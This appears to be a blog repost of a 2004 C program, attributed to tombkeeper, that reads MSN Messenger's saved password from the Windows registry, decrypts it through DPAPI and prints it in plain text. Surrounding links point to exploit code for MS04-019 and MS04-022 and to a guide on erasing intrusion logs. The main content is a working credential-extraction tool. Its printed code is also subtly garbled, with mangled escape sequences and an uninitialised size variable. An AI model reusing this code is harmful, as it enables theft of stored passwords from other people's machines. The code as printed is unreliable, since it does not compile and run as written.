从注册表中还原MSNMessenger口令

开发者福利!热门AI工具限时免费用 购周边即赠Coding Plan Lite,Claude Code、Cursor等20+工具畅享,效率翻倍! 阅读详情

演示从注册表中还原MSNMessenger口令


作者: tombkeeper (t0mbkeeper_at_hotmail.com)

/* MSNMessenger的口令是经过DPAPI加密后保存在注册表中的
* 这个程序演示解码过程
* tombkeeper[0x40]nsfocus[0x2e]com
* tombkeeper[0x40]xfocus[0x2e]net
* 2004.08.11
*/

#include <Windows.h>


#pragma comment(lib, "Advapi32.lib")

#define FCHK(a)     if (!(a)) {printf(#a " failed/n"); return 0;}

typedef struct _CRYPTOAPI_BLOB {
    DWORD cbData;
    BYTE* pbData;
} DATA_BLOB;

typedef struct _CRYPTPROTECT_PROMPTSTRUCT {
    DWORD cbSize;
    DWORD dwPromptFlags;
    HWND hwndApp;
    LPCWSTR szPrompt;
} CRYPTPROTECT_PROMPTSTRUCT, *PCRYPTPROTECT_PROMPTSTRUCT;

typedef BOOL (WINAPI *PCryptUnprotectData)(
    DATA_BLOB* pDataIn,
    LPWSTR* ppszDataDescr,
    DATA_BLOB* pOptionalEntropy,
    PVOID pvReserved,
    CRYPTPROTECT_PROMPTSTRUCT* pPromptStruct,
    DWORD dwFlags,
    DATA_BLOB* pDataOut
);

PCryptUnprotectData CryptUnprotectData = NULL;


int main(void)
{
    int ret;
    HMODULE hNtdll;

    HKEY hKey;
    DWORD dwType;
    char Data[0x100] = {0};
    DWORD dwSize;

    DATA_BLOB DataIn;
    DATA_BLOB DataOut;

    ret = RegOpenKeyEx
    (
        HKEY_CURRENT_USER,
        "Software//Microsoft//MSNMessenger",
        0,
        KEY_READ,
        &hKey
    );
    if( ret != ERROR_SUCCESS ) return 1;

    ret = RegQueryValueEx
    (
        hKey,
        "Password.NET Messenger Service",
        NULL,
        &dwType,
        Data,
        &dwSize
    );
    if( ret != ERROR_SUCCESS ) return 1;

    FCHK ((hNtdll = LoadLibrary ("Crypt32.dll")) != NULL);
    FCHK ((CryptUnprotectData = (PCryptUnprotectData)
           GetProcAddress (hNtdll, "CryptUnprotectData")) != NULL);

    DataIn.pbData = Data + 2;   //口令密文从第二位开始
    DataIn.cbData = dwSize-2;

    CryptUnprotectData
    (
        &DataIn,
        NULL,
        NULL,
        NULL,
        NULL,
        1,
        &DataOut
    );

    base64_decode (DataOut.pbData, Data, strlen(DataOut.pbData));
    printf ( "MSN Password: %s/n", Data);
    return 0;
}

//copied from GNU libc - libc/resolv/base64.c
int base64_decode (char const *src, char *target, size_t targsize)
{
    static const char Base64[] =
        "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    static const char Pad64 = '=';

    int tarindex, state, ch;
    char *pos;

    state = 0;
    tarindex = 0;

    while ((ch = *src++) != '/0')
    {
        if (isspace (ch))         /* Skip whitespace anywhere. */
            continue;

        if (ch == Pad64)
            break;

        pos = strchr (Base64, ch);
        if (pos == 0)             /* A non-base64 character. */
            return (-1);

        switch (state)
        {
            case 0:
            if (target)
            {
                if ((size_t) tarindex >= targsize)
                    return (-1);
                target[tarindex] = (pos - Base64) << 2;
            }
            state = 1;
            break;
            case 1:
            if (target)
            {
                if ((size_t) tarindex + 1 >= targsize)
                    return (-1);
                target[tarindex] |= (pos - Base64) >> 4;
                target[tarindex + 1] = ((pos - Base64) & 0x0f) << 4;
            }
            tarindex++;
            state = 2;
            break;
            case 2:
            if (target)
            {
                if ((size_t) tarindex + 1 >= targsize)
                    return (-1);
                target[tarindex] |= (pos - Base64) >> 2;
                target[tarindex + 1] = ((pos - Base64) & 0x03) << 6;
            }
            tarindex++;
            state = 3;
            break;
            case 3:
            if (target)
            {
                if ((size_t) tarindex >= targsize)
                    return (-1);
                target[tarindex] |= (pos - Base64);
            }
            tarindex++;
            state = 0;
            break;
            default:
            abort ();
        }
    }

  /*
   * We are done decoding Base-64 chars.  Let's see if we ended
   * on a byte boundary, and/or with erroneous trailing characters.
   */

    if (ch == Pad64)
    {                           /* We got a pad char. */
        ch = *src++;              /* Skip it, get next. */
        switch (state)
        {
            case 0:         /* Invalid = in first position */
            case 1:         /* Invalid = in second position */
                return (-1);

            case 2:         /* Valid, means one byte of info */
             /* Skip any number of spaces. */
            for ((void) NULL; ch != '/0'; ch = *src++)
                if (!isspace (ch))
                    break;
             /* Make sure there is another trailing = sign. */
            if (ch != Pad64)
                return (-1);
            ch = *src++;          /* Skip the = */
            /* Fall through to "single trailing =" case. */
            /* FALLTHROUGH */

            case 3:         /* Valid, means two bytes of info */
            /*
             * We know this char is an =.  Is there anything but
             * whitespace after it?
            */
            for ((void) NULL; ch != '/0'; ch = *src++)
                if (!isspace (ch))
                    return (-1);

            /*
             * Now make sure for cases 2 and 3 that the "extra"
             * bits that slopped past the last full byte were
             * zeros.  If we don't check them, they become a
             * subliminal channel.
             */
            if (target && target[tarindex] != 0)
                return (-1);
        }
    }
    else
    {
        /*
         * We ended by seeing the end of the string.  Make sure we
         * have no partial bytes lying around.
         */
        if (state != 0)
            return (-1);
    }

    return (tarindex);
}
MS04-019本地提升权限攻击代码(全) /****************************************************************************************** *****C*****O*****R*****O******M******P*****U*******T*******E******R*****2***0***0***4**** **              [C 阅读详情

相关推荐

中国有哪些牛逼的黑客?

中国有哪些牛逼的黑客?

z099164的博客 1692

对Native API NtSystemDebugControl的分析

创建时间:2004-08-05 文章属性:原创 文章提交:tombkeeper (t0mbkeeper_at_hotmail.com) 对Native API NtSystemDebugControl的分析 作 者:于旸 邮 件:tombkeeper[0x40]nsfocus[0x2e]com tombkeeper[0x40]xfocus[0x2e]o...

weixin_30437481的博客 171

2025 一键批量下载t0mbkeeper/王盐Charles微博内容/评论/转发等数据,导出word,excel和pdf

所有微博目录包含微博时间和微博内容,点击跳转到对应微博。所有微博目录包含微博时间和微博内容,点击跳转到对应微博。

mysusheng的博客 631

消除MSN标签 注册表文件

MSN里的标签很讨厌,以前的版本中提供自定义删除功能,高版本中去掉了(可能是出于商业目的吧),我整理提取了成一个注册表文件,双击运行一下就OK了。 请点击浏览器右键,选择“目标另存为”下载,完成后,把后缀名.jpg去掉...

party 168

详解入侵日志清除方法

 首先来讲解FTP和WWW日志FTP日志→FTP日志和WWW默认日志为每天生成一个日志文件,包含了每天的一切记录,文件名通常为ex(年份)(月份)(日期),例如ex051218,就是2005年12月18日记录的日志,选用记事本打开方式就可直接打开,如下例:#Software: Microsoft Internet Information Services 5.0(微软IIS5.0) #Vers

冷血书生的专栏 6563

演示从注册表还原MSNMessenger口令

演示从注册表还原MSNMessenger口令作者:tombkeeper (t0mbkeeper_at_hotmail.com)/* MSNMessenger口令是经过DPAPI加密后保存在注册表中的* 这个程序演示解码过程* tombkeeper[0x40]nsfocus[0x2e]com* tombkeeper[0x40]xfocus[0x2e]net* 2004.08.11*/#inc

adubbser的专栏 874

(转载)获取Windows 系统的内核变量

获取Windows 系统的内核变量转自:http://www.xfocus.net创建时间:2004-08-05文章属性:原创文章提交:tombkeeper (t0mbkeeper_at_hotmail.com)获取Windows 系统的内核变量作  者:于旸邮  件:tombkeeper[0x40]nsfocus[0x2e]com        tombkeeper[0x40]xfocus[0x

Kendiv's Box 2044

如何解决客户端与服务器端的连接(mysql) :xxx.xxx.xxx.xxx is not allowed to connect to this mysql serv

这两天搞MySQL,遇到一些问题,怕忘掉,放上来,留着备用这个方法是在google上搜出来的,不过他是转自CSDN,^_^1、进入mysql,创建一个新用户xuys: 格式:grant 权限 on 数据库名.表名 用户@登录主机 identified by "用户密码"; grant select,update,insert,delete on *.* to xuys@192.168.88.234

yztgx的专栏 9513

VC++获取操作系统版本(摘自MSDN)

VC++获取操作系统版本(摘自MSDN) #include #include BOOL DisplaySystemVersion(){   OSVERSIONINFOEX osvi;   BOOL bOsVersionInfoEx;    // Try calling GetVersionEx using the OSVERSIONINFOEX structure.   //   // If t

yztgx的专栏 7718

网络漏洞扫描系统的必要性

作者:余精彩  来源:赛迪网    随着计算机技术、网络技术的飞速发展和普及应用,网络安全已日渐成为人们关注的焦点问题之一。近几年来,安全技术和安全产品已经有了长足的进步,部分技术与产品已日趋成熟。但是,单个安全技术或者安全产品的功能和性能都有其局限性,只能满足系统与网络特定的安全需求。因此,如何有效利用现有的安全技术和安全产品来保障系统与网络的安全已成为当前信息安全领域的研究热点之一。  首先,

yztgx的专栏 3533

IE 不能正确处理 MIME 格式邮件附件导致执行攻击者代码漏洞(NIMDA就是利用了此漏洞)

#!/usr/bin/perl #in bugtraq post User may be fooled to execute programs browsing with IE5.1 #so I write a script to exploit it, just a test, have fun :) # # http://www.xfocus.org use Mail::Sendmail; $

yztgx的专栏 3176

Windows 2000缓冲区溢出入门(我所找到的最好的入门教程)

Windows 2000缓冲区溢出入门作者:Jason整理:Backend backend@nsfocus.com >主页:http://www.nsfocus.com日期:2000-04-12前言我在互联网上阅读过许多关于缓冲区溢出的文章。其中的绝大多数都是基于*NIX操作系统平台的。后来有幸拜读了ipxodi所著的《Windows系统下的堆栈溢出》(已刊登在绿盟网络安全月刊2000

yztgx的专栏 2514

抄来一段编程实现锁定计算机的代码(支持2000以上的系统)

#include "stdafx.h"#include "Windows.h"int (__stdcall * MyLockWorkStation)();int main(int argc, char* argv[]){    HINSTANCE hinstLib;    printf("Hello World!/n");    hinstLib = LoadLibrary("USER32.DLL

yztgx的专栏 2412

IBM本本,自定义Windows键

IBM的本本没有Win键,很不方便,自带的工具可以设置,不过影响效率,试试下面的方法:可以改为右手的alt,下面的内容存成一个reg文件,运行后logout,然后再login就可以了Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Keyboard Layout] "S

yztgx的专栏 2295

转一个获取MSN口令的代码

MSN Messenger uses Windows Credential UI [credui.dll]on WinXP/2003. Password-Storage mechanism differs inthese OSes so, the code posted by tombkeeper[http://xfocus.net/articles/200408/726.html] doesn

yztgx的专栏 2000

Microsoft 安全公告 MS04-022 溢出攻击代码

Microsoft 安全公告 MS04-022 溢出攻击代码 漏洞描述任务计划程序漏洞 — CAN-2004-0212 此漏洞的影响范围有多大?这是一个远程执行代码漏洞。如果用户使用管理权限登录,成功利用此漏洞的攻击者可以完全控制受影响的系统,包括安装程序;查看、更改或删除数据;或者创建拥有完全权限的新帐户。那些帐户被配置为拥有较少系统权限的用户比具有管理权限的用户受到的威胁要小。不过,要利用此

yztgx的专栏 1962

如何用正确的方法来写出质量好的软件的75条体会(zz)

如何用正确的方法来写出质量好的软件的75条体会转自:http://blog.joycode.com/mvm1. 你们的项目组使用源代码管理工具了么? 应该用。VSS、CVS、PVCS、ClearCase、CCC/Harvest、FireFly都可以。我的选择是VSS。 2. 你们的项目组使用缺陷管理系统了么? 应该用。ClearQuest太复杂,我的推荐是BugZilla。 3. 你们

yztgx的专栏 1925

家乡 二 十 四 桥的介绍

二 十 四 桥       “青山隐隐水迢迢,秋尽江南草未凋。二十四桥明月夜,玉人何处教吹箫”。这首诗已流传了一千多年,可谓妇孺皆知。诗因桥而咏出,桥因诗而闻名。单项式桥名就引动多少文人学者打了一千多年的笔墨官司。    《扬州鼓吹词》说:“是桥因古之二十四美人吹箫于此,故名”。据说二十四桥原为吴家砖

yztgx的专栏 1842
上一篇: SQL Ping的工具
下一篇: 教你怎么撬走别人的女友--官方教程
yztgx
博客等级 码龄25年 2粉丝 58原创
评论 4
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值